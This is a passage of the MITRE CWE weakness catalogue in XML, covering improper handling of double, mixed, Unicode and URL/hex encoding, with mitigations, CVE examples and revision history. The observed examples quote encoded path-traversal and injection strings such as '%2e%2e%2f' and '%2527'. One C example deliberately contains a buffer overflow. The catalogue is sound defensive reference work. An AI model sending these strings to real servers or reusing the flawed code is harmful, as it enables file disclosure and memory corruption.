               <Description>
                  <xhtml:p>Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.</xhtml:p>
                  <xhtml:p>When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."</xhtml:p>
                  <xhtml:p>Do not rely exclusively on looking for malicious or malformed inputs.  This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.</xhtml:p>
               </Description>
            </Mitigation>
            <Mitigation Mitigation_ID="MIT-30">
               <Phase>Implementation</Phase>
               <Strategy>Output Encoding</Strategy>
               <Description>Use and specify an output encoding that can be handled by the downstream component that is reading the output. Common encodings include ISO-8859-1, UTF-7, and UTF-8. When an encoding is not specified, a downstream component may choose a different encoding, either by assuming a default encoding or automatically inferring which encoding is being used, which can be erroneous. When the encodings are inconsistent, the downstream component might treat some character or byte sequences as special, even if they are not special in the original encoding. Attackers might then be able to exploit this discrepancy and conduct injection attacks; they even might be able to bypass protection mechanisms that assume the original encoding is also being used by the downstream component.</Description>
            </Mitigation>
            <Mitigation Mitigation_ID="MIT-20">
               <Phase>Implementation</Phase>
               <Strategy>Input Validation</Strategy>
               <Description>Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass allowlist validation schemes by introducing dangerous inputs after they have been checked.</Description>
            </Mitigation>
         </Potential_Mitigations>
         <Observed_Examples>
            <Observed_Example>
               <Reference>CVE-2004-1315</Reference>
               <Description>Forum software improperly URL decodes the highlight parameter when extracting text to highlight, which allows remote attackers to execute arbitrary PHP code by double-encoding the highlight value so that special characters are inserted into the result.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2004-1315</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2004-1939</Reference>
               <Description>XSS protection mechanism attempts to remove "/" that could be used to close tags, but it can be bypassed using double encoded slashes (%252F)</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2004-1939</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2001-0333</Reference>
               <Description>Directory traversal using double encoding.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2001-0333</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2004-1938</Reference>
               <Description>"%2527" (double-encoded single quote) used in SQL injection.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2004-1938</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2005-1945</Reference>
               <Description>Double hex-encoded data.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2005-1945</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2005-0054</Reference>
               <Description>Browser executes HTML at higher privileges via URL with hostnames that are double hex encoded, which are decoded twice to generate a malicious hostname.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2005-0054</Link>
            </Observed_Example>
         </Observed_Examples>
         <Taxonomy_Mappings>
            <Taxonomy_Mapping Taxonomy_Name="PLOVER">
               <Entry_Name>Double Encoding</Entry_Name>
            </Taxonomy_Mapping>
         </Taxonomy_Mappings>
         <Notes>
            <Note Type="Research Gap">Probably under-studied.</Note>
         </Notes>
         <Content_History>
            <Submission>
               <Submission_Name>PLOVER</Submission_Name>
               <Submission_Date>2006-07-19</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>Eric Dalci</Modification_Name>
               <Modification_Organization>Cigital</Modification_Organization>
               <Modification_Date>2008-07-01</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-09-08</Modification_Date>
               <Modification_Comment>updated Relationships, Observed_Example, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-11-24</Modification_Date>
               <Modification_Comment>updated Observed_Examples</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-07-27</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-03-29</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-01</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-05-11</Modification_Date>
               <Modification_Comment>updated Common_Consequences, Observed_Examples, Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-10-30</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-07-30</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Applicable_Platforms</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Potential_Mitigations, Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-06-25</Modification_Date>
					<Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-01-31</Modification_Date>
					<Modification_Comment>updated Description</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
            <Previous_Entry_Name Date="2008-04-11">Double Encoding</Previous_Entry_Name>
         </Content_History>
      </Weakness>
      <Weakness ID="175" Name="Improper Handling of Mixed Encoding" Abstraction="Variant" Structure="Simple" Status="Draft">
         <Description>The product does not properly handle when the same input uses several different (mixed) encodings.</Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="172" View_ID="1000" Ordinal="Primary"/>
         </Related_Weaknesses>
         <Applicable_Platforms>
            <Language Class="Not Language-Specific" Prevalence="Undetermined"/>
         </Applicable_Platforms>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Implementation</Phase>
            </Introduction>
         </Modes_Of_Introduction>
         <Common_Consequences>
            <Consequence>
               <Scope>Integrity</Scope>
               <Impact>Unexpected State</Impact>
            </Consequence>
         </Common_Consequences>
         <Potential_Mitigations>
            <Mitigation Mitigation_ID="MIT-44">
               <Phase>Architecture and Design</Phase>
               <Strategy>Input Validation</Strategy>
               <Description>Avoid making decisions based on names of resources (e.g. files) if those resources can have alternate names.</Description>
            </Mitigation>
            <Mitigation Mitigation_ID="MIT-5">
               <Phase>Implementation</Phase>
               <Strategy>Input Validation</Strategy>
               <Description>
                  <xhtml:p>Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.</xhtml:p>
                  <xhtml:p>When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."</xhtml:p>
                  <xhtml:p>Do not rely exclusively on looking for malicious or malformed inputs.  This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.</xhtml:p>
               </Description>
            </Mitigation>
            <Mitigation Mitigation_ID="MIT-30">
               <Phase>Implementation</Phase>
               <Strategy>Output Encoding</Strategy>
               <Description>Use and specify an output encoding that can be handled by the downstream component that is reading the output. Common encodings include ISO-8859-1, UTF-7, and UTF-8. When an encoding is not specified, a downstream component may choose a different encoding, either by assuming a default encoding or automatically inferring which encoding is being used, which can be erroneous. When the encodings are inconsistent, the downstream component might treat some character or byte sequences as special, even if they are not special in the original encoding. Attackers might then be able to exploit this discrepancy and conduct injection attacks; they even might be able to bypass protection mechanisms that assume the original encoding is also being used by the downstream component.</Description>
            </Mitigation>
            <Mitigation Mitigation_ID="MIT-20">
               <Phase>Implementation</Phase>
               <Strategy>Input Validation</Strategy>
               <Description>Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass allowlist validation schemes by introducing dangerous inputs after they have been checked.</Description>
            </Mitigation>
         </Potential_Mitigations>
         <Taxonomy_Mappings>
            <Taxonomy_Mapping Taxonomy_Name="PLOVER">
               <Entry_Name>Mixed Encoding</Entry_Name>
            </Taxonomy_Mapping>
         </Taxonomy_Mappings>
         <Content_History>
            <Submission>
               <Submission_Name>PLOVER</Submission_Name>
               <Submission_Date>2006-07-19</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>Eric Dalci</Modification_Name>
               <Modification_Organization>Cigital</Modification_Organization>
               <Modification_Date>2008-07-01</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations, Time_of_Introduction</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-09-08</Modification_Date>
               <Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-07-27</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2010-12-13</Modification_Date>
               <Modification_Comment>updated Name</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-03-29</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-01</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-27</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-05-11</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-10-30</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-07-30</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Applicable_Platforms</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Potential_Mitigations, Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-06-25</Modification_Date>
					<Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-01-31</Modification_Date>
					<Modification_Comment>updated Description</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
            <Previous_Entry_Name Date="2008-04-11">Mixed Encoding</Previous_Entry_Name>
            <Previous_Entry_Name Date="2010-12-13">Failure to Handle Mixed Encoding</Previous_Entry_Name>
         </Content_History>
      </Weakness>
      <Weakness ID="176" Name="Improper Handling of Unicode Encoding" Abstraction="Variant" Structure="Simple" Status="Draft">
         <Description>The product does not properly handle when an input contains Unicode encoding.</Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="172" View_ID="1000" Ordinal="Primary"/>
         </Related_Weaknesses>
         <Applicable_Platforms>
            <Language Class="Not Language-Specific" Prevalence="Undetermined"/>
         </Applicable_Platforms>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Implementation</Phase>
            </Introduction>
         </Modes_Of_Introduction>
         <Common_Consequences>
            <Consequence>
               <Scope>Integrity</Scope>
               <Impact>Unexpected State</Impact>
            </Consequence>
         </Common_Consequences>
         <Potential_Mitigations>
            <Mitigation Mitigation_ID="MIT-44">
               <Phase>Architecture and Design</Phase>
               <Strategy>Input Validation</Strategy>
               <Description>Avoid making decisions based on names of resources (e.g. files) if those resources can have alternate names.</Description>
            </Mitigation>
            <Mitigation Mitigation_ID="MIT-5">
               <Phase>Implementation</Phase>
               <Strategy>Input Validation</Strategy>
               <Description>
                  <xhtml:p>Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.</xhtml:p>
                  <xhtml:p>When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."</xhtml:p>
                  <xhtml:p>Do not rely exclusively on looking for malicious or malformed inputs.  This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.</xhtml:p>
               </Description>
            </Mitigation>
            <Mitigation Mitigation_ID="MIT-20">
               <Phase>Implementation</Phase>
               <Strategy>Input Validation</Strategy>
               <Description>Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass allowlist validation schemes by introducing dangerous inputs after they have been checked.</Description>
            </Mitigation>
         </Potential_Mitigations>
         <Demonstrative_Examples>
            <Demonstrative_Example>
               <Intro_Text>Windows provides the MultiByteToWideChar(), WideCharToMultiByte(), UnicodeToBytes(), and BytesToUnicode() functions to convert between arbitrary multibyte (usually ANSI) character strings and Unicode (wide character) strings. The size arguments to these functions are specified in different units, (one in bytes, the other in characters) making their use prone to error.</Intro_Text>
               <Body_Text>In a multibyte character string, each character occupies a varying number of bytes, and therefore the size of such strings is most easily specified as a total number of bytes. In Unicode, however, characters are always a fixed size, and string lengths are typically given by the number of characters they contain. Mistakenly specifying the wrong units in a size argument can lead to a buffer overflow.</Body_Text>
               <Body_Text>The following function takes a username specified as a multibyte string and a pointer to a structure for user information and populates the structure with information about the specified user. Since Windows authentication uses Unicode for usernames, the username argument is first converted from a multibyte string to a Unicode string.</Body_Text>
               <Example_Code Nature="Bad" Language="C">
                  <xhtml:div>void getUserInfo(char *username, struct _USER_INFO_2 info){<xhtml:div style="margin-left:1em;">WCHAR unicodeUser[UNLEN+1];<xhtml:br/>MultiByteToWideChar(CP_ACP, 0, username, -1, unicodeUser, sizeof(unicodeUser));<xhtml:br/>NetUserGetInfo(NULL, unicodeUser, 2, (LPBYTE *)&amp;info);</xhtml:div>}</xhtml:div>
               </Example_Code>
               <Body_Text>This function incorrectly passes the size of unicodeUser in bytes instead of characters. The call to MultiByteToWideChar() can therefore write up to (UNLEN+1)*sizeof(WCHAR) wide characters, or (UNLEN+1)*sizeof(WCHAR)*sizeof(WCHAR) bytes, to the unicodeUser array, which has only (UNLEN+1)*sizeof(WCHAR) bytes allocated.</Body_Text>
               <Body_Text>If the username string contains more than UNLEN characters, the call to MultiByteToWideChar() will overflow the buffer unicodeUser.</Body_Text>
            </Demonstrative_Example>
         </Demonstrative_Examples>
         <Observed_Examples>
            <Observed_Example>
               <Reference>CVE-2000-0884</Reference>
               <Description>Server allows remote attackers to read documents outside of the web root, and possibly execute arbitrary commands, via malformed URLs that contain Unicode encoded characters.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2000-0884</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2001-0709</Reference>
               <Description>Server allows a remote attacker to obtain source code of ASP files via a URL encoded with Unicode.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2001-0709</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2001-0669</Reference>
               <Description>Overlaps interaction error.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2001-0669</Link>
            </Observed_Example>
         </Observed_Examples>
         <Taxonomy_Mappings>
            <Taxonomy_Mapping Taxonomy_Name="PLOVER">
               <Entry_Name>Unicode Encoding</Entry_Name>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="CERT C Secure Coding">
               <Entry_ID>MSC10-C</Entry_ID>
               <Entry_Name>Character Encoding - UTF8 Related Issues</Entry_Name>
            </Taxonomy_Mapping>
         </Taxonomy_Mappings>
         <Related_Attack_Patterns>
            <Related_Attack_Pattern CAPEC_ID="71"/>
         </Related_Attack_Patterns>
         <References>
            <Reference External_Reference_ID="REF-62" Section="Chapter 8, &#34;Character Sets and Unicode&#34;, Page 446"/>
         </References>
         <Content_History>
            <Submission>
               <Submission_Name>PLOVER</Submission_Name>
               <Submission_Date>2006-07-19</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>Eric Dalci</Modification_Name>
               <Modification_Organization>Cigital</Modification_Organization>
               <Modification_Date>2008-07-01</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations, Time_of_Introduction</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-09-08</Modification_Date>
               <Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-11-24</Modification_Date>
               <Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-03-10</Modification_Date>
               <Modification_Comment>updated Demonstrative_Examples</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-05-27</Modification_Date>
               <Modification_Comment>updated Demonstrative_Examples</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-07-27</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2010-12-13</Modification_Date>
               <Modification_Comment>updated Name</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-03-29</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-01</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-27</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-09-13</Modification_Date>
               <Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-05-11</Modification_Date>
               <Modification_Comment>updated Observed_Examples, References, Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-10-30</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-07-30</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Applicable_Platforms, Taxonomy_Mappings</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Potential_Mitigations, Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-06-25</Modification_Date>
					<Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-01-31</Modification_Date>
					<Modification_Comment>updated Description</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
            <Previous_Entry_Name Date="2008-04-11">Unicode Encoding</Previous_Entry_Name>
            <Previous_Entry_Name Date="2010-12-13">Failure to Handle Unicode Encoding</Previous_Entry_Name>
         </Content_History>
      </Weakness>
      <Weakness ID="177" Name="Improper Handling of URL Encoding (Hex Encoding)" Abstraction="Variant" Structure="Simple" Status="Draft">
         <Description>The product does not properly handle when all or part of an input has been URL encoded.</Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="172" View_ID="1000" Ordinal="Primary"/>
         </Related_Weaknesses>
         <Applicable_Platforms>
            <Language Class="Not Language-Specific" Prevalence="Undetermined"/>
         </Applicable_Platforms>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Implementation</Phase>
            </Introduction>
         </Modes_Of_Introduction>
         <Common_Consequences>
            <Consequence>
               <Scope>Integrity</Scope>
               <Impact>Unexpected State</Impact>
            </Consequence>
         </Common_Consequences>
         <Potential_Mitigations>
            <Mitigation Mitigation_ID="MIT-44">
               <Phase>Architecture and Design</Phase>
               <Strategy>Input Validation</Strategy>
               <Description>Avoid making decisions based on names of resources (e.g. files) if those resources can have alternate names.</Description>
            </Mitigation>
            <Mitigation Mitigation_ID="MIT-5">
               <Phase>Implementation</Phase>
               <Strategy>Input Validation</Strategy>
               <Description>
                  <xhtml:p>Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.</xhtml:p>
                  <xhtml:p>When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."</xhtml:p>
                  <xhtml:p>Do not rely exclusively on looking for malicious or malformed inputs.  This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.</xhtml:p>
               </Description>
            </Mitigation>
            <Mitigation Mitigation_ID="MIT-20">
               <Phase>Implementation</Phase>
               <Strategy>Input Validation</Strategy>
               <Description>Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass allowlist validation schemes by introducing dangerous inputs after they have been checked.</Description>
            </Mitigation>
         </Potential_Mitigations>
         <Observed_Examples>
            <Observed_Example>
               <Reference>CVE-2000-0900</Reference>
               <Description>Hex-encoded path traversal variants - "%2e%2e", "%2e%2e%2f", "%5c%2e%2e"</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2000-0900</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2005-2256</Reference>
               <Description>Hex-encoded path traversal variants - "%2e%2e", "%2e%2e%2f", "%5c%2e%2e"</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2005-2256</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2004-2121</Reference>
               <Description>Hex-encoded path traversal variants - "%2e%2e", "%2e%2e%2f", "%5c%2e%2e"</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2004-2121</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2004-0280</Reference>
               <Description>"%20" (encoded space)</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2004-0280</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2003-0424</Reference>
               <Description>"%20" (encoded space)</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2003-0424</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2001-0693</Reference>
               <Description>"%20" (encoded space)</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2001-0693</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2001-0778</Reference>
               <Description>"%20" (encoded space)</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2001-0778</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2002-1831</Reference>
               <Description>Crash via hex-encoded space "%20".</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2002-1831</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2000-0671</Reference>
               <Description>"%00" (encoded null)</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2000-0671</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2004-0189</Reference>
               <Description>"%00" (encoded null)</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2004-0189</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2002-1291</Reference>
               <Description>"%00" (encoded null)</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2002-1291</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2002-1031</Reference>
               <Description>"%00" (encoded null)</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2002-1031</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2001-1140</Reference>
               <Description>"%00" (encoded null)</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2001-1140</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2004-0760</Reference>
               <Description>"%00" (encoded null)</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2004-0760</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2002-1025</Reference>
               <Description>"%00" (encoded null)</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2002-1025</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2002-1213</Reference>
               <Description>"%2f" (encoded slash)</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2002-1213</Link>
            </Observed_Example>
